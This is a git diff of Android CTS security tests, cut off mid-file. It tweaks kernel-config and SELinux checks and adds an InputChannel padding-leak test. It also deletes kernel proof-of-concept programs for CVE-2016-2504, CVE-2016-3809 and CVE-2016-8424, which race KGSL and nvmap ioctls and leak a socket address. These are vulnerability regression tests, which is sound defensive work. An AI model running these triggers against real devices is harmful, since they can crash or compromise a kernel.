 import org.junit.Test;
 import org.junit.runner.RunWith;
 
+import java.io.IOException;
+import java.io.InputStream;
+import java.util.Iterator;
+
 /**
  * Device-side tests for CtsSeccompHostTestCases
  */
diff --git a/hostsidetests/security/src/android/security/cts/KernelConfigTest.java b/hostsidetests/security/src/android/security/cts/KernelConfigTest.java
index 00962d0..96cd045 100644
--- a/hostsidetests/security/src/android/security/cts/KernelConfigTest.java
+++ b/hostsidetests/security/src/android/security/cts/KernelConfigTest.java
@@ -108,10 +108,11 @@
      *
      * @throws Exception
      */
-    @CddTest(requirement="9.7")
+    @CddTest(requirement="9.7/C-0-7")
     public void testConfigStackProtectorStrong() throws Exception {
         assertTrue("Linux kernel must have Stack Protector enabled: " +
-                "CONFIG_CC_STACKPROTECTOR_STRONG=y",
+                "CONFIG_STACKPROTECTOR_STRONG=y or CONFIG_CC_STACKPROTECTOR_STRONG=y",
+                configSet.contains("CONFIG_STACKPROTECTOR_STRONG=y") ||
                 configSet.contains("CONFIG_CC_STACKPROTECTOR_STRONG=y"));
     }
 
@@ -121,8 +122,11 @@
      *
      * @throws Exception
      */
-    @CddTest(requirement="9.7")
+    @CddTest(requirement="9.7/C-0-8")
     public void testConfigROData() throws Exception {
+        if (configSet.contains("CONFIG_UH_RKP=y"))
+            return;
+
         assertTrue("Linux kernel must have RO data enabled: " +
                 "CONFIG_DEBUG_RODATA=y or CONFIG_STRICT_KERNEL_RWX=y",
                 configSet.contains("CONFIG_DEBUG_RODATA=y") ||
diff --git a/hostsidetests/security/src/android/security/cts/SELinuxHostTest.java b/hostsidetests/security/src/android/security/cts/SELinuxHostTest.java
index d3f4001..b32a054 100644
--- a/hostsidetests/security/src/android/security/cts/SELinuxHostTest.java
+++ b/hostsidetests/security/src/android/security/cts/SELinuxHostTest.java
@@ -386,7 +386,8 @@
      */
     public static boolean isFullTrebleDevice(ITestDevice device)
             throws DeviceNotAvailableException {
-        return PropertyUtil.getFirstApiLevel(device) > 26;
+        return PropertyUtil.getFirstApiLevel(device) > 26 &&
+                PropertyUtil.propertyEquals(device, "ro.treble.enabled", "true");
     }
 
     private boolean isFullTrebleDevice() throws DeviceNotAvailableException {
@@ -399,7 +400,8 @@
      */
     public static boolean isCompatiblePropertyEnforcedDevice(ITestDevice device)
             throws DeviceNotAvailableException {
-        return PropertyUtil.getFirstApiLevel(device) > 27;
+        return PropertyUtil.propertyEquals(
+                device, "ro.actionable_compatible_property.enabled", "true");
     }
 
     // NOTE: cts/tools/selinux depends on this method. Rename/change with caution.
@@ -889,6 +891,9 @@
      * @throws Exception
      */
     public void testCoredomainViolators() throws Exception {
+        if (!isFullTrebleDevice()) {
+            return;
+        }
         assertSepolicyTests("CoredomainViolations", "/treble_sepolicy_tests");
     }
 
diff --git a/hostsidetests/securitybulletin/AndroidTest.xml b/hostsidetests/securitybulletin/AndroidTest.xml
index 0c9ebe3..5f8f0e2 100644
--- a/hostsidetests/securitybulletin/AndroidTest.xml
+++ b/hostsidetests/securitybulletin/AndroidTest.xml
@@ -27,7 +27,6 @@
         <option name="push" value="CVE-2016-6734->/data/local/tmp/CVE-2016-6734" />
         <option name="push" value="CVE-2016-6735->/data/local/tmp/CVE-2016-6735" />
         <option name="push" value="CVE-2016-6736->/data/local/tmp/CVE-2016-6736" />
-        <option name="push" value="CVE-2016-8424->/data/local/tmp/CVE-2016-8424" />
         <option name="push" value="CVE-2016-8425->/data/local/tmp/CVE-2016-8425" />
         <option name="push" value="CVE-2016-8426->/data/local/tmp/CVE-2016-8426" />
         <option name="push" value="CVE-2016-8427->/data/local/tmp/CVE-2016-8427" />
@@ -37,7 +36,6 @@
         <option name="push" value="CVE-2016-8431->/data/local/tmp/CVE-2016-8431" />
         <option name="push" value="CVE-2016-8432->/data/local/tmp/CVE-2016-8432" />
         <option name="push" value="CVE-2016-8434->/data/local/tmp/CVE-2016-8434" />
-        <option name="push" value="CVE-2016-2504->/data/local/tmp/CVE-2016-2504" />
 
         <!-- Bulletin 2016-04 -->
         <!-- Please add tests solely from this bulletin below to avoid merge conflict -->
@@ -52,7 +50,6 @@
         <!--__________________-->
         <!-- Bulletin 2016-07 -->
         <!-- Please add tests solely from this bulletin below to avoid merge conflict -->
-        <option name="push" value="CVE-2016-3809->/data/local/tmp/CVE-2016-3809" />
         <option name="push" value="CVE-2016-3818->/data/local/tmp/CVE-2016-3818" />
 
         <!-- Bulletin 2016-09 -->
@@ -145,6 +142,11 @@
         <!-- Please add tests solely from this bulletin below to avoid merge conflict -->
         <option name="push" value="CVE-2017-13253->/data/local/tmp/CVE-2017-13253" />
 
+        <!--__________________-->
+        <!-- Bulletin 2019-03 -->
+        <!-- Please add tests solely from this bulletin below to avoid merge conflict -->
+        <option name="push" value="Bug-115739809->/data/local/tmp/Bug-115739809" />
+
         <option name="append-bitness" value="true" />
     </target_preparer>
 
diff --git a/hostsidetests/securitybulletin/res/cve_2016_3916.apk b/hostsidetests/securitybulletin/res/cve_2016_3916.apk
deleted file mode 100644
index 96c6128..0000000
--- a/hostsidetests/securitybulletin/res/cve_2016_3916.apk
+++ /dev/null
Binary files differ
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-3809/Android.mk b/hostsidetests/securitybulletin/securityPatch/Bug-115739809/Android.mk
old mode 100644
new mode 100755
similarity index 78%
rename from hostsidetests/securitybulletin/securityPatch/CVE-2016-3809/Android.mk
rename to hostsidetests/securitybulletin/securityPatch/Bug-115739809/Android.mk
index 615d39b..cd2dbcd
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2016-3809/Android.mk
+++ b/hostsidetests/securitybulletin/securityPatch/Bug-115739809/Android.mk
@@ -15,20 +15,24 @@
 LOCAL_PATH := $(call my-dir)
 
 include $(CLEAR_VARS)
-LOCAL_MODULE := CVE-2016-3809
-LOCAL_SRC_FILES := poc.c
+LOCAL_MODULE := Bug-115739809
+LOCAL_SRC_FILES := poc.cpp
 LOCAL_MULTILIB := both
 LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
 LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
 
+LOCAL_SHARED_LIBRARIES := \
+        libbase \
+        libinput \
+        libutils \
+        liblog
+
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts sts
+LOCAL_COMPATIBILITY_SUITE := cts sts vts
 LOCAL_CTS_TEST_PACKAGE := android.security.cts
 
-LOCAL_SHARED_LIBRARIES := liblog
-
-LOCAL_CFLAGS += -Wall -Werror
-LOCAL_CFLAGS += -Iinclude -fPIE
+LOCAL_ARM_MODE := arm
+LOCAL_CPPFLAGS += -Wall -Werror -Wextra
 LOCAL_LDFLAGS += -fPIE -pie
 LOCAL_LDFLAGS += -rdynamic
 include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/securitybulletin/securityPatch/Bug-115739809/poc.cpp b/hostsidetests/securitybulletin/securityPatch/Bug-115739809/poc.cpp
new file mode 100755
index 0000000..54e70cb1
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/Bug-115739809/poc.cpp
@@ -0,0 +1,209 @@
+/**
+* Copyright (C) 2018 The Android Open Source Project
+*
+* Licensed under the Apache License, Version 2.0 (the "License");
+* you may not use this file except in compliance with the License.
+* You may obtain a copy of the License at
+*
+*      http://www.apache.org/licenses/LICENSE-2.0
+*
+* Unless required by applicable law or agreed to in writing, software
+* distributed under the License is distributed on an "AS IS" BASIS,
+* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+* See the License for the specific language governing permissions and
+* limitations under the License.
+*/
+
+#define LOG_TAG "InputChannelTest"
+
+#include "../includes/common.h"
+
+#include <android-base/stringprintf.h>
+#include <input/InputTransport.h>
+
+using namespace android;
+using android::base::StringPrintf;
+
+static std::string memoryAsHexString(const void* const address, size_t numBytes) {
+    std::string str;
+    for (size_t i = 0; i < numBytes; i++) {
+        str += StringPrintf("%02X ", static_cast<const uint8_t* const>(address)[i]);
+    }
+    return str;
+}
+
+/**
+ * There could be non-zero bytes in-between InputMessage fields. Force-initialize the entire
+ * memory to zero, then only copy the valid bytes on a per-field basis.
+ * Input: message msg
+ * Output: cleaned message outMsg
+ */
+static void sanitizeMessage(const InputMessage& msg, InputMessage* outMsg) {
+    memset(outMsg, 0, sizeof(*outMsg));
+
+    // Write the header
+    outMsg->header.type = msg.header.type;
+
+    // Write the body
+    switch(msg.header.type) {
+        case InputMessage::TYPE_KEY: {
+            // uint32_t seq
+            outMsg->body.key.seq = msg.body.key.seq;
+            // nsecs_t eventTime
+            outMsg->body.key.eventTime = msg.body.key.eventTime;
+            // int32_t deviceId
+            outMsg->body.key.deviceId = msg.body.key.deviceId;
+            // int32_t source
+            outMsg->body.key.source = msg.body.key.source;
+            // int32_t displayId
+            outMsg->body.key.displayId = msg.body.key.displayId;
+            // int32_t action
+            outMsg->body.key.action = msg.body.key.action;
+            // int32_t flags
+            outMsg->body.key.flags = msg.body.key.flags;
+            // int32_t keyCode
+            outMsg->body.key.keyCode = msg.body.key.keyCode;
+            // int32_t scanCode
+            outMsg->body.key.scanCode = msg.body.key.scanCode;
+            // int32_t metaState
+            outMsg->body.key.metaState = msg.body.key.metaState;
+            // int32_t repeatCount
+            outMsg->body.key.repeatCount = msg.body.key.repeatCount;
+            // nsecs_t downTime
+            outMsg->body.key.downTime = msg.body.key.downTime;
+            break;
+        }
+        case InputMessage::TYPE_MOTION: {
+            // uint32_t seq
+            outMsg->body.motion.seq = msg.body.motion.seq;
+            // nsecs_t eventTime
+            outMsg->body.motion.eventTime = msg.body.motion.eventTime;
+            // int32_t deviceId
+            outMsg->body.motion.deviceId = msg.body.motion.deviceId;
+            // int32_t source
+            outMsg->body.motion.source = msg.body.motion.source;
+            // int32_t displayId
+            outMsg->body.motion.displayId = msg.body.motion.displayId;
+            // int32_t action
+            outMsg->body.motion.action = msg.body.motion.action;
+            // int32_t actionButton
+            outMsg->body.motion.actionButton = msg.body.motion.actionButton;
+            // int32_t flags
+            outMsg->body.motion.flags = msg.body.motion.flags;
+            // int32_t metaState
+            outMsg->body.motion.metaState = msg.body.motion.metaState;
+            // int32_t buttonState
+            outMsg->body.motion.buttonState = msg.body.motion.buttonState;
+            // int32_t edgeFlags
+            outMsg->body.motion.edgeFlags = msg.body.motion.edgeFlags;
+            // nsecs_t downTime
+            outMsg->body.motion.downTime = msg.body.motion.downTime;
+            // float xOffset
+            outMsg->body.motion.xOffset = msg.body.motion.xOffset;
+            // float yOffset
+            outMsg->body.motion.yOffset = msg.body.motion.yOffset;
+            // float xPrecision
+            outMsg->body.motion.xPrecision = msg.body.motion.xPrecision;
+            // float yPrecision
+            outMsg->body.motion.yPrecision = msg.body.motion.yPrecision;
+            // uint32_t pointerCount
+            outMsg->body.motion.pointerCount = msg.body.motion.pointerCount;
+            //struct Pointer pointers[MAX_POINTERS]
+            for (size_t i = 0; i < msg.body.motion.pointerCount; i++) {
+                // PointerProperties properties
+                outMsg->body.motion.pointers[i].properties.id =
+                        msg.body.motion.pointers[i].properties.id;
+                outMsg->body.motion.pointers[i].properties.toolType =
+                        msg.body.motion.pointers[i].properties.toolType;
+                // PointerCoords coords
+                outMsg->body.motion.pointers[i].coords.bits =
+                        msg.body.motion.pointers[i].coords.bits;
+                const uint32_t count = BitSet64::count(msg.body.motion.pointers[i].coords.bits);
+                memcpy(&outMsg->body.motion.pointers[i].coords.values[0],
+                        &msg.body.motion.pointers[i].coords.values[0],
+                        count * sizeof(msg.body.motion.pointers[i].coords.values[0]));
+            }
+            break;
+        }
+        case InputMessage::TYPE_FINISHED: {
+            outMsg->body.finished.seq = msg.body.finished.seq;
+            outMsg->body.finished.handled = msg.body.finished.handled;
+            break;
+        }
+    }
+}
+
+/**
+ * Return false if vulnerability is found for a given message type
+ */
+static bool checkMessage(sp<InputChannel> server, sp<InputChannel> client, int type) {
+    InputMessage serverMsg;
+    // Set all potentially uninitialized bytes to 1, for easier comparison
+
+    memset(&serverMsg, 1, sizeof(serverMsg));
+    serverMsg.header.type = type;
+    if (type == InputMessage::TYPE_MOTION) {
+        serverMsg.body.motion.pointerCount = MAX_POINTERS;
+    }
+    status_t result = server->sendMessage(&serverMsg);
+    if (result != OK) {
+        ALOGE("Could not send message to the input channel");
+        return false;
+    }
+
+    InputMessage clientMsg;
+    result = client->receiveMessage(&clientMsg);
+    if (result != OK) {
+        ALOGE("Could not receive message from the input channel");
+        return false;
+    }
+    if (serverMsg.header.type != clientMsg.header.type) {
+        ALOGE("Types do not match");
+        return false;
+    }
+
+    if (clientMsg.header.padding != 0) {
+        ALOGE("Found padding to be uninitialized");
+        return false;
+    }
+
+    InputMessage sanitizedClientMsg;
+    sanitizeMessage(clientMsg, &sanitizedClientMsg);
+    if (memcmp(&clientMsg, &sanitizedClientMsg, clientMsg.size()) != 0) {
+        ALOGE("Client received un-sanitized message");
+        ALOGE("Received message: %s", memoryAsHexString(&clientMsg, clientMsg.size()).c_str());
+        ALOGE("Expected message: %s",
+                memoryAsHexString(&sanitizedClientMsg, clientMsg.size()).c_str());
+        return false;
+    }
+
+    return true;
+}
+
+/**
+ * Create an unsanitized message
+ * Send
+ * Receive
+ * Compare the received message to a sanitized expected message
+ * Do this for all message types
+ */
+int main() {
+    sp<InputChannel> server, client;
+
+    status_t result = InputChannel::openInputChannelPair(String8("channel name").string(), server, client);
+    if (result != OK) {
+        ALOGE("Could not open input channel pair");
+        return 0;
+    }
+
+    int types[] = {InputMessage::TYPE_KEY, InputMessage::TYPE_MOTION, InputMessage::TYPE_FINISHED};
+    for (int type : types) {
+        bool success = checkMessage(server, client, type);
+        if (!success) {
+            ALOGE("Check message failed for type %i", type);
+            return EXIT_VULNERABLE;
+        }
+    }
+
+    return 0;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-2504/Android.mk b/hostsidetests/securitybulletin/securityPatch/CVE-2016-2504/Android.mk
deleted file mode 100644
index 51e6dd8..0000000
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2016-2504/Android.mk
+++ /dev/null
@@ -1,38 +0,0 @@
-# Copyright (C) 2018 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-LOCAL_MODULE := CVE-2016-2504
-LOCAL_SRC_FILES := poc.c
-LOCAL_MULTILIB := both
-LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
-LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts sts
-LOCAL_CTS_TEST_PACKAGE := android.security.cts
-
-
-LOCAL_CFLAGS += -Werror -Wall -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
-LOCAL_CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
-LOCAL_CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
-LOCAL_CFLAGS += -Iinclude -fPIE
-LOCAL_LDFLAGS += -fPIE -pie
-LDFLAGS += -rdynamic
-include $(BUILD_CTS_EXECUTABLE)
-
-$(CTS_TESTCASES_OUT)/CVE-2016-2504 : $(LOCAL_BUILT_MODULE) | $(ACP)
-	$(copy-file-to-target)
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-2504/poc.c b/hostsidetests/securitybulletin/securityPatch/CVE-2016-2504/poc.c
deleted file mode 100644
index b272328..0000000
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2016-2504/poc.c
+++ /dev/null
@@ -1,160 +0,0 @@
-/**
-* Copyright (C) 2018 The Android Open Source Project
-*
-* Licensed under the Apache License, Version 2.0 (the "License");
-* you may not use this file except in compliance with the License.
-* You may obtain a copy of the License at
-*
-*      http://www.apache.org/licenses/LICENSE-2.0
-*
-* Unless required by applicable law or agreed to in writing, software
-* distributed under the License is distributed on an "AS IS" BASIS,
-* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-* See the License for the specific language governing permissions and
-* limitations under the License.
-*/
-
-#define _GNU_SOURCE
-#include <errno.h>
-#include <fcntl.h>
-#include <pthread.h>
-#include <signal.h>
-#include <stdio.h>
-#include <stdlib.h>
-#include <string.h>
-#include <sys/ioctl.h>
-#include <sys/stat.h>
-#include <sys/types.h>
-#include <sys/wait.h>
-#include <unistd.h>
-
-/* ioctls */
-#define KGSL_IOC_TYPE 0x09
-
-enum kgsl_user_mem_type {
-  KGSL_USER_MEM_TYPE_PMEM = 0x00000000,
-  KGSL_USER_MEM_TYPE_ASHMEM = 0x00000001,
-  KGSL_USER_MEM_TYPE_ADDR = 0x00000002,
-  KGSL_USER_MEM_TYPE_ION = 0x00000003,
-  KGSL_USER_MEM_TYPE_MAX = 0x00000007,
-};
-
-/*
- * Unfortunately, enum kgsl_user_mem_type starts at 0 which does not
- * leave a good value for allocated memory. In the flags we use
- * 0 to indicate allocated memory and thus need to add 1 to the enum
- * values.
- */
-#define KGSL_USERMEM_FLAG(x) (((x) + 1) << KGSL_MEMFLAGS_USERMEM_SHIFT)
-
-#define KGSL_MEMFLAGS_NOT_USERMEM 0
-#define KGSL_MEMFLAGS_USERMEM_PMEM KGSL_USERMEM_FLAG(KGSL_USER_MEM_TYPE_PMEM)
-#define KGSL_MEMFLAGS_USERMEM_ASHMEM                                           \
-  KGSL_USERMEM_FLAG(KGSL_USER_MEM_TYPE_ASHMEM)
-#define KGSL_MEMFLAGS_USERMEM_ADDR KGSL_USERMEM_FLAG(KGSL_USER_MEM_TYPE_ADDR)
-#define KGSL_MEMFLAGS_USERMEM_ION KGSL_USERMEM_FLAG(KGSL_USER_MEM_TYPE_ION)
-
-/* add a block of pmem, fb, ashmem or user allocated address
- * into the GPU address space */
-struct kgsl_map_user_mem {
-  int fd;
-  unsigned long gpuaddr; /*output param */
-  size_t len;
-  size_t offset;
-  unsigned long hostptr; /*input param */
-  enum kgsl_user_mem_type memtype;
-  unsigned int flags;
-};
-
-#define IOCTL_KGSL_MAP_USER_MEM                                                \
-  _IOWR(KGSL_IOC_TYPE, 0x15, struct kgsl_map_user_mem)
-
-/* remove memory from the GPU's address space */
-struct kgsl_sharedmem_free {
-  unsigned long gpuaddr;
-};
-
-#define IOCTL_KGSL_SHAREDMEM_FREE                                              \
-  _IOW(KGSL_IOC_TYPE, 0x21, struct kgsl_sharedmem_free)
-
-#define KGSL_MEMFLAGS_USERMEM_MASK 0x000000e0
-#define KGSL_MEMFLAGS_USERMEM_SHIFT 5
-
-#define TRUE 1
-
-struct kgsl_map_user_mem allocArg;
-struct kgsl_sharedmem_free freeArg;
-
-int fd;
-int thread_exit = 1;
-
-void *alloc_thread(void*);
-void *free_thread(void*);
-void kgsl_poc(void);
-
-void *alloc_thread() {
-  while (thread_exit) {
-    allocArg.fd = -1;
-    allocArg.gpuaddr = 0x0;
-    allocArg.len = 4096;
-    allocArg.offset = 0;
-    allocArg.hostptr = (unsigned long)malloc(allocArg.len);
-    allocArg.memtype = KGSL_USER_MEM_TYPE_ADDR;
-    allocArg.flags = KGSL_MEMFLAGS_USERMEM_ADDR;
-
-    int ret = ioctl(fd, IOCTL_KGSL_MAP_USER_MEM, &allocArg);
-
-    if (ret < 0) {
-      printf("Error on IOCTL_KGSL_MAP_USER_MEM - Errno %d (%s)\n", errno,
-             strerror(errno));
-      return NULL;
-    } else if (!allocArg.gpuaddr) {
-      allocArg.gpuaddr = allocArg.hostptr;
-    }
-
-    volatile unsigned long *pGPU = &allocArg.gpuaddr;
-
-    while (*pGPU) {
-      if (thread_exit)
-        break;
-    }
-
-    free((void *)allocArg.hostptr);
-  }
-  return NULL;
-}
-
-void *free_thread() {
-  volatile unsigned long *pGPU = &allocArg.gpuaddr;
-  freeArg.gpuaddr = 0x0;
-
-  while (!freeArg.gpuaddr) {
-    freeArg.gpuaddr = *pGPU;
-  }
-
-  while (thread_exit) {
-    ioctl(fd, IOCTL_KGSL_SHAREDMEM_FREE, &freeArg);
-    *pGPU = 0x0;
-  }
-  return NULL;
-}
-
-void kgsl_poc() {
-  pthread_t allocTid, freeTid;
-  fd = open("/dev/kgsl-3d0", 0);
-
-  if (fd < 0) {
-    printf("Unable to open /dev/kgsl-3d0 - Errno %d (%s)\n", errno,
-           strerror(errno));
-    exit(-1);
-  }
-
-  pthread_create(&allocTid, NULL, alloc_thread, NULL);
-  pthread_create(&freeTid, NULL, free_thread, NULL);
-  pthread_join(allocTid, NULL);
-  pthread_join(freeTid, NULL);
-}
-int main() {
-  kgsl_poc();
-  return 0;
-}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-3809/poc.c b/hostsidetests/securitybulletin/securityPatch/CVE-2016-3809/poc.c
deleted file mode 100644
index 4f4805f..0000000
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2016-3809/poc.c
+++ /dev/null
@@ -1,92 +0,0 @@
-/**
- * Copyright (C) 2018 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-#define _GNU_SOURCE
-
-#include <cutils/log.h>
-#include <fcntl.h>
-#include <stdio.h>
-#include <string.h>
-#include <sys/socket.h>
-#include <sys/stat.h>
-#include <sys/types.h>
-#include <unistd.h>
-
-#define BUF_SIZE 2048
-
-int main() {
-  int sfd, fd, ret;
-  char buf[BUF_SIZE];
-  char wbuf[BUF_SIZE];
-
-  ret = -1;
-  sfd = socket(AF_INET, SOCK_DGRAM, 0);
-  if (sfd == -1) {
-    perror("socket create");
-    return 0;
-  }
-  snprintf(buf, BUF_SIZE, "/proc/self/net/xt_qtaguid/ctrl");
-  fd = open(buf, O_RDWR);
-  if (fd == -1) {
-    perror("canot open xt_qtaguid ctrl");
-    close(sfd);
-    return 0;
-  }
-
-  /* clean all tags */
-  snprintf(wbuf, BUF_SIZE - 2, "d %d %u", 0, getuid());
-  ret = write(fd, wbuf, strlen(wbuf));
-  if (ret < 0) {
-    perror("first clean");
-    goto err;
-  }
-
-  unsigned long long tag = ((unsigned long long)0x13371) << 32;
-  /* add sock tag */
-  snprintf(wbuf, BUF_SIZE - 2, "t %d %llu %u", sfd, tag, getuid());
-  ret = write(fd, wbuf, strlen(wbuf));
-  if (ret < 0) {
-    perror("add sock tag");
-    goto err;
-  }
-
-  ret = read(fd, buf, 22);
-  if (ret < 10) {
-    perror("canot read or read error");
-    goto err;
-  }
-  buf[21] = '\0';
-  char *temp = buf + 5;
-  printf("sock addr: 0x%s length=%d \n", temp, (int)strlen(temp));
-  short address = (short)*temp;
-  printf("addres sis %d", address);
-  if (address != 48) // ascii value of 0 is 48
-    ALOGE("CVE-2016-3809 test case failed");
-  else
-    ALOGE("CVE-2016-3809 test case passed");
-
-  /* clean all tags again */
-  snprintf(wbuf, BUF_SIZE - 2, "d %d %u", 0, getuid());
-  ret = write(fd, wbuf, strlen(wbuf));
-  if (ret < 0) {
-    perror("cannot clean all tags at last time");
-    goto err;
-  }
-
-err:
-  close(sfd);
-  close(fd);
-  return 0;
-}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-8424/Android.mk b/hostsidetests/securitybulletin/securityPatch/CVE-2016-8424/Android.mk
deleted file mode 100644
index 204ace1..0000000
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2016-8424/Android.mk
+++ /dev/null
@@ -1,32 +0,0 @@
-# Copyright (C) 2016 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-LOCAL_MODULE := CVE-2016-8424
-LOCAL_SRC_FILES := poc.c
-LOCAL_MULTILIB := both
-LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
-LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests sts
-LOCAL_CTS_TEST_PACKAGE := android.security.cts
-
-LOCAL_ARM_MODE := arm
-LOCAL_CFLAGS := -Wno-unused-parameter -Wall -Werror
-LOCAL_CFLAGS += -Wno-incompatible-pointer-types -Wno-unused-variable
-LOCAL_LDFLAGS += -fPIE -pie
-include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-8424/poc.c b/hostsidetests/securitybulletin/securityPatch/CVE-2016-8424/poc.c
deleted file mode 100644
index 4460b88..0000000
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2016-8424/poc.c
+++ /dev/null
@@ -1,138 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-#define _GNU_SOURCE
-
-#include <stdlib.h>
-#include <errno.h>
-#include <unistd.h>
-#include <stdio.h>
-#include <dirent.h>
-#include <string.h>
-#include <sys/stat.h>
-#include <sys/ioctl.h>
-#include <stdio.h>
-#include <string.h>
-#include <dlfcn.h>
-#include <sys/time.h>
-#include <sys/mman.h>
-#include <sys/syscall.h>
-#include <sys/resource.h>
-#include <fcntl.h>
-#include <pthread.h>
-#include <unistd.h>
-#include <sched.h>
-
-
-struct nvmap_handle_param {
-	__u32 handle;		/* nvmap handle */
-	__u32 param;		/* size/align/base/heap etc. */
-	unsigned long result;	/* returns requested info*/
-};
-
-struct nvmap_create_handle {
-	union {
-		__u32 id;	/* FromId */
-		__u32 size;	/* CreateHandle */
-		__s32 fd;	/* DmaBufFd or FromFd */
-	};
-	__u32 handle;		/* returns nvmap handle */
-};
-
-#define NVMAP_IOC_MAGIC 'N'
-#define NVMAP_IOC_CREATE  _IOWR(NVMAP_IOC_MAGIC, 0, struct nvmap_create_handle)
-#define NVMAP_IOC_PARAM _IOWR(NVMAP_IOC_MAGIC, 8, struct nvmap_handle_param)
-#define NVMAP_IOC_GET_ID  _IOWR(NVMAP_IOC_MAGIC, 13, struct nvmap_create_handle)
-#define NVMAP_IOC_GET_FD  _IOWR(NVMAP_IOC_MAGIC, 15, struct nvmap_create_handle)
-#define NVMAP_IOC_FREE       _IO(NVMAP_IOC_MAGIC, 4)
-
-int g_fd = -1;
-static pthread_cond_t cond = PTHREAD_COND_INITIALIZER;
-static pthread_mutex_t mutex = PTHREAD_MUTEX_INITIALIZER;
-struct nvmap_create_handle* g_allocation = NULL;
-
-int open_driver() {
-    char* dev_path = "/dev/nvmap";
-    g_fd = open(dev_path, O_RDWR);
-    if (g_fd < 0) {
-        printf("[*] open file(%s) failed, errno=%d\n", dev_path, errno);
-    } else {
-        printf("[*] open file(%s) succ!\n", dev_path);
-    }
-    return g_fd;
-}
-
-void trigger_nvmap_create() {
-    ioctl(g_fd, NVMAP_IOC_CREATE, g_allocation);
-    //printf("[*] NVMAP_IOC_CREATE, fd(%d), last error = %d\n", g_allocation->handle, errno);
-}
-
-void trigger_nvmap_free() {
-    static int data = 1024;
-    ioctl(g_fd, NVMAP_IOC_FREE, data);
-    //printf("[*] NVMAP_IOC_FREE last error = %d\n", errno);
-}
-
-void setup_privi_and_affinity(int privi, unsigned long cpu_mask) {
-    setpriority(PRIO_PROCESS, gettid(), privi);
-    printf("[*] setpriority(%d) errno = %d\n", privi, errno);
-
-    /* bind process to a CPU*/
-    if (sched_setaffinity(gettid(), sizeof(cpu_mask), &cpu_mask) < 0) {
-        printf("[*] sched_setaffinity(%ld) errno = %d\n", cpu_mask, errno);
-    }
-}
-
-void prepare_data() {
-    void* data = calloc(1, 0x1000);
-
-    g_allocation = (struct nvmap_create_handle*)data;
-    g_allocation->size = 1024;
-
-    mprotect(data, 0x1000, PROT_READ);
-    printf("[*] mprotect, error = %d\n", errno);
-}
-static int init = 0;
-void* race_thread(void* arg) {
-    setup_privi_and_affinity(0, 2);
-
-    int i;
-    while (1) {
-        if (init == 0) {
-            pthread_mutex_lock(&mutex);
-            pthread_cond_wait(&cond, &mutex);
-            pthread_mutex_unlock(&mutex);
-            init = 1;
-        }
-        trigger_nvmap_free();
-    }
-}
-
-int main(int argc, char**argv) {
-    setup_privi_and_affinity(0, 1);
-    if (open_driver() < 0) {
-        return -1;
-    }
-    prepare_data();
-    pthread_t tid;
-    pthread_create(&tid, NULL, race_thread, NULL);
-    sleep(1);
-    while (1) {
-        if (init == 0)
